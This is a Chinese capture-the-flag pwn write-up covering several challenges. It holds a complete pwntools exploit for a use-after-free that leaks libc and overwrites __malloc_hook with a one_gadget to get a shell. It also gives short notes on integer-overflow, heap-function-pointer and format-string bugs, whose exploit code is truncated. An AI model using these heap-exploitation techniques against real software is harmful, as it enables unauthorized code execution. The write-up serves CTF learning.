壹業
标准的UAF漏洞题
思路
- 创建unsortedbin的chunk,free掉,然后再show,就能泄露libc地址
- 复写malloc_hook为one_gadget
exp
本地环境:ubuntu 16.041
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60from pwn import *
context.log_level='debug'
r=process('./pwn1')
#r=remote('0.0.0.0',10000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_off = 0x7f7436b23b78-0x7f743675f000
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
print hex(libc_off)
#pause()
def add(size):
r.recvuntil('>>')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
def show(idx):
r.recvuntil('>>')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))
def edit(idx,cont):
r.recvuntil('>>')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(cont)
def delete(idx):
r.recvuntil('>>')
r.sendline('4')
r.recvuntil(':')
r.sendline(str(idx))
add(0x60)#0
add(0x60)#1
add(0x60)#2
add(0xa0)#3
add(0x60)#4
add(0x60)#5
delete(3)
#gdb.attach(r)
show(3)
r.recvuntil(':')
leak=u64(r.recv(6).ljust(8,'\x00'))
success(hex(leak))
libc.address = leak- libc_off
mallochook=libc.sym['__malloc_hook']
one=libc.address+onegadgets[3]
delete(0)
edit(0,p64(mallochook-0x23))
add(0x60)#6
add(0x60)#7
edit(7,'a'*0x13+p64(one))
add(0x60)#8
r.interactive()
三學
整数溢出造成栈溢出
exp
1 | #!/usr/bin/env python2 |
四諦
堆中存在调用puts函数的函数指针,而且还通过堆块来调用函数
exp
1 | from pwn import * |
五蘊
格式化字符串漏洞,直接向unk_804c044写特定数,再输入相同的数,可用三种不同方法得到shell
exp
1 | from pwn import * |